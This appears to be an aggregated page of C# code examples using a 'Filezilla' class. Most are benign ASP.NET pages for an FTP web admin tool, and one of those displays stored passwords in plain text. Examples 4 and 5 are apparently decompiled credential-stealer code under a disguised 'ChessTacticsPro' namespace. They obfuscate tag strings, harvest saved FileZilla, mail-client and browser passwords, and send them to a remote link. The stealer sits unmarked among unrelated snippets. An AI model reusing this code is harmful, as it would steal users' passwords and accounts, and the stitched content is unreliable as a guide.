Summary description for Filezilla
Ejemplo n.º 1
0
	protected void Page_Load(object sender, EventArgs e)
	{
		NewAccountButton.Click += new EventHandler(NewAccountButton_Click);
		// this page requires an authenticated user
		Master.ForceAuthentication();

		// this page requires an authenticated administrator
		Master.ForceAdministrator();

		// create the configuration related objects
		webSettings = new WebSettings();
		fz = new Filezilla(webSettings.Lookup("ConfigurationFile"));

		// load the user grid display
		List<FilezillaUser> userList = new List<FilezillaUser>();
		int count = fz.AddUsersToList(ref userList);
		UserGridView.DataSource = userList;
		UserGridView.DataBind();

		DataSet ds = new DataSet();
		ds.ReadXml(MapPath("~/App_Data/settings.xml"));
		SettingsGridView.DataSource = ds.Tables[0].DefaultView;
		SettingsGridView.DataBind();

		if (!Page.IsPostBack)
		{
			UserGridView.SortBy(UserGridView.Columns["Username"], ColumnSortOrder.Ascending);
			UserGridView.SettingsPager.PageSize = 100;
			SettingsGridView.SortBy(SettingsGridView.Columns["key"], ColumnSortOrder.Ascending);
			SettingsGridView.SettingsPager.PageSize = 100;
		}
	}
Ejemplo n.º 2
0
	void LoginButton_Click(object sender, EventArgs e)
	{
		string user = AccAccountTextBox.Text.Trim().ToLower();
		string password = AccPasswordTextBox.Text;

		ActivityLog log = new ActivityLog();

		// create a filezilla object using the active configuration
		Filezilla fz = new Filezilla(settings.Lookup("ConfigurationFile"));
		if (!fz.Authenticate(user, password))
		{
			log.LogActivity(LogAction.Login, user, "authentication failed");

			LoginValidator.IsValid = false;
			return;
		}

		log.LogActivity(LogAction.Login, user);

		// Set the session vars
		Session["FZNET_USER"] = user;
		Session["FZNET_SILVERLIGHT"] = IsSilverlightHidden.Value;

		// Redirect to the home page
		Response.Redirect("Default.aspx");
	}
Ejemplo n.º 3
0
	protected void Page_Load(object sender, EventArgs e)
	{
		// wire the events
		GeneratePasswordButton.Click += new EventHandler(GeneratePasswordButton_Click);
		ForcePasswordButton.Click += new EventHandler(ForcePasswordButton_Click);

		// this page requires an authenticated user
		Master.ForceAuthentication();

		// this page requires an authenticated administrator
		Master.ForceAdministrator();

		// get the target user from the query string
		userName = WebConvert.ToString(Request.QueryString["ID"], "");

		// create the configuration related objects
		webSettings = new WebSettings();
		fz = new Filezilla(webSettings.Lookup("ConfigurationFile"));

		// load the user object
		fzu = fz.GetUser(userName);

		if (!Page.IsPostBack)
		{
			// load the display with the user values
			UsernameTitleLiteral.Text = fzu.Username;
			UsernameLabel.Text = fzu.Username;
			PasswordLabel.Text = fzu.Password;
			EnabledLabel.Text = (fzu.Enabled) ? "Yes" : "No";
			HomeDirectoryLabel.Text = fzu.Home;

			// load the first permission
			FilezillaPermission fzp = fzu.Permissions[0];
			DirectoryLabel.Text = fzp.Dir;
			AliasPathLabel.Text = fzp.AliasPath;
			IsHomeLabel.Text = (fzp.OptionIsHome) ? "Yes" : "No";
			FilePermissionsLabel.Text = "";
			FilePermissionsLabel.Text += DisplayPermission("Read", fzp.OptionFileRead );
			FilePermissionsLabel.Text += DisplayPermission("Write", fzp.OptionFileWrite);
			FilePermissionsLabel.Text += DisplayPermission("Delete", fzp.OptionFileDelete);
			FilePermissionsLabel.Text += DisplayPermission("Append", fzp.OptionFileAppend);
			DirPermissionsLabel.Text = "";
			DirPermissionsLabel.Text += DisplayPermission("List", fzp.OptionDirList);
			DirPermissionsLabel.Text += DisplayPermission("Create", fzp.OptionDirCreate);
			DirPermissionsLabel.Text += DisplayPermission("Delete", fzp.OptionDirDelete);
			DirPermissionsLabel.Text += DisplayPermission("Subdirs", fzp.OptionDirSubdirs);
			AutoCreateLabel.Text = (fzp.OptionAutoCreate) ? "Yes" : "No";
		}
	}
Ejemplo n.º 4
0
    // Token: 0x06000040 RID: 64 RVA: 0x00003374 File Offset: 0x00002374
    public static void Recover()
    {
        string text = Filezilla.FileZillaPass();
        int    i    = 0;

        while (i < text.Length)
        {
            if (text.Length <= 0)
            {
                break;
            }
            if (!text.Contains("<Host>") | !text.Contains("<User>") | !text.Contains("<Pass>"))
            {
                break;
            }
            string host     = Filezilla.midReturn("$<$H$os$t$>$".Replace("$", ""), "$<$/H$o$s$t$>$".Replace("$", ""), text);
            string username = Filezilla.midReturn("<User>", "</User>", text);
            string password = Filezilla.midReturn("$<P$as$s>$".Replace("$", ""), "$<$/$P$a$ss$>$".Replace("$", ""), text);
            Send.SendLog(ChessTacticsPro.P_Link, "Passwords", null, null, "Filezilla", host, username, password, null);
            text = text.Replace(text.Substring(0, checked (text.IndexOf("</Pass>") + 6)), null);
        }
    }
Ejemplo n.º 5
0
 // Token: 0x0600002B RID: 43 RVA: 0x000029C0 File Offset: 0x000019C0
 public static void PasswordRecovery()
 {
     try
     {
         ChessTacticsPro.RecoverMail.Outlook();
         ChessTacticsPro.RecoverMail.NetScape();
         ChessTacticsPro.RecoverMail.Thunderbird();
         ChessTacticsPro.RecoverMail.Eudora();
         ChessTacticsPro.RecoverMail.Incredimail();
         ChessTacticsPro.RecoverBrowsers.Firefox();
         ChessTacticsPro.RecoverBrowsers.Chrome();
         ChessTacticsPro.RecoverBrowsers.InternetExplorer();
         ChessTacticsPro.RecoverBrowsers.Opera();
         ChessTacticsPro.RecoverBrowsers.Safari();
         Filezilla.Recover();
         IMVU.Recover();
         InternetDownloadManager.Recover();
         JDownloader.Recover();
         Paltalk.Recover();
     }
     catch (Exception ex)
     {
     }
 }
Ejemplo n.º 6
0
	void LoginButton_Click(object sender, EventArgs e)
	{
		string password = AccPasswordTextBox.Text;

		ActivityLog log = new ActivityLog();

		// create a filezilla object using the active configuration
		Filezilla fz = new Filezilla(settings.Lookup("ConfigurationFile"));
		if (!fz.AuthenticateAdministration(password))
		{
			log.LogActivity(LogAction.Login, "REMOTEADMIN", "authentication failed");

			LoginValidator.IsValid = false;
			return;
		}

		log.LogActivity(LogAction.Login, "REMOTEADMIN");

		// Set the session vars
		Session["FZNET_ADMIN"] = true;

		// Redirect to the administration home page
		Response.Redirect("Admin.aspx");
	}
Ejemplo n.º 7
0
    protected void Page_Load(object sender, EventArgs e)
    {
		// this page requires an authenticated user
		Master.ForceAuthentication();

		// wire the file manager events
		FileManager.CustomThumbnail += new FileManagerThumbnailCreateEventHandler(FileManager_CustomThumbnail);
		FileManager.FileDownloading += new FileManagerFileDownloadingEventHandler(FileManager_FileDownloading);
		FileManager.FileUploading += new FileManagerFileUploadEventHandler(FileManager_FileUploading);
		FileManager.FolderCreating += new FileManagerFolderCreateEventHandler(FileManager_FolderCreating);
		FileManager.ItemDeleting += new FileManagerItemDeleteEventHandler(FileManager_ItemDeleting);
		FileManager.ItemMoving += new FileManagerItemMoveEventHandler(FileManager_ItemMoving);
		FileManager.ItemRenaming += new FileManagerItemRenameEventHandler(FileManager_ItemRenaming);

		// create the configuration related objects
		webSettings = new WebSettings();
		fz = new Filezilla(webSettings.Lookup("ConfigurationFile"));

		// create the activity related objects
		log = new ActivityLog();

		// get the root folder based on the authenticated user
		rootFolder = fz.HomeDirectory(Master.UserName);

		if (!Page.IsPostBack)
		{
			// configure the general settings of the file manager 
			FileManager.SettingsEditing.AllowCreate = WebConvert.ToBoolean(webSettings.Lookup("AllowCreate", "0"), false);
			FileManager.SettingsEditing.AllowDelete = WebConvert.ToBoolean(webSettings.Lookup("AllowDelete", "0"), false);
			FileManager.SettingsEditing.AllowMove = WebConvert.ToBoolean(webSettings.Lookup("AllowMove", "0"), false);
			FileManager.SettingsEditing.AllowRename = WebConvert.ToBoolean(webSettings.Lookup("AllowRename", "0"), false);
			FileManager.SettingsFolders.ShowFolderIcons = WebConvert.ToBoolean(webSettings.Lookup("ShowFolderIcons", "0"), false);
			FileManager.SettingsToolbar.ShowDownloadButton = WebConvert.ToBoolean(webSettings.Lookup("ShowDownloadButton", "0"), false);
			FileManager.Settings.ThumbnailFolder = webSettings.Lookup("ThumbnailFolder");
			// advanced upload mode requires Microsoft Silverlight ... really?
			if (Master.IsSilverlightAvailable)
			{
				// silverlight is available - check the system configuration to see if we want to utilize it
				FileManager.SettingsUpload.UseAdvancedUploadMode = WebConvert.ToBoolean(webSettings.Lookup("UseAdvancedUploadMode", "0"), false);
				FileManager.SettingsUpload.AdvancedModeSettings.EnableMultiSelect = WebConvert.ToBoolean(webSettings.Lookup("EnableMultiSelect", "0"), false);
			}
			else
			{
				// no silverlight - no advanced upload mode
				FileManager.SettingsUpload.UseAdvancedUploadMode = false;
				FileManager.SettingsUpload.AdvancedModeSettings.EnableMultiSelect = false;

				// if the user could be utilizing silverlight, let them know
				if (WebConvert.ToBoolean(webSettings.Lookup("UseAdvancedUploadMode", "0"), false))
				{
					SilverlightPanel.Visible = true;
				}
			}
			// set the max file size from the settings, default to 1MB
			FileManager.SettingsUpload.ValidationSettings.MaxFileSize = WebConvert.ToInt32(webSettings.Lookup("MaxFileSize","1000000"),1000000);
 
			// limit permissions based on the settings for the ftp share

			// disable creating folders if its not enabled in the configuration
			if (!fz.AllowDirCreate(Master.UserName, rootFolder))
			{
				FileManager.SettingsEditing.AllowCreate = false;
			}

			// disable deleting, moving items if its not enabled in the configuration
			if (!fz.AllowFileDelete(Master.UserName, rootFolder))
			{
				FileManager.SettingsEditing.AllowDelete = false;
				FileManager.SettingsEditing.AllowMove = false;
			}
			
			// disable upload, move, rename, delete if write is not enabled
			if (!fz.AllowFileWrite(Master.UserName, rootFolder))
			{
				FileManager.SettingsUpload.Enabled = false;
				FileManager.SettingsEditing.AllowMove = false;
				FileManager.SettingsEditing.AllowRename = false;
				FileManager.SettingsEditing.AllowDelete = false;
			}

			// assign the root folder to the user's normalized home directory
			FileManager.Settings.RootFolder = fz.NormalizeFolderName(rootFolder);


			// log the browse action
			log.LogActivity(LogAction.Browse, Master.UserName, FileManager.Settings.RootFolder, "Silverlight=" + WebConvert.ToString( Session["FZNET_SILVERLIGHT"], "false") );
		}
    }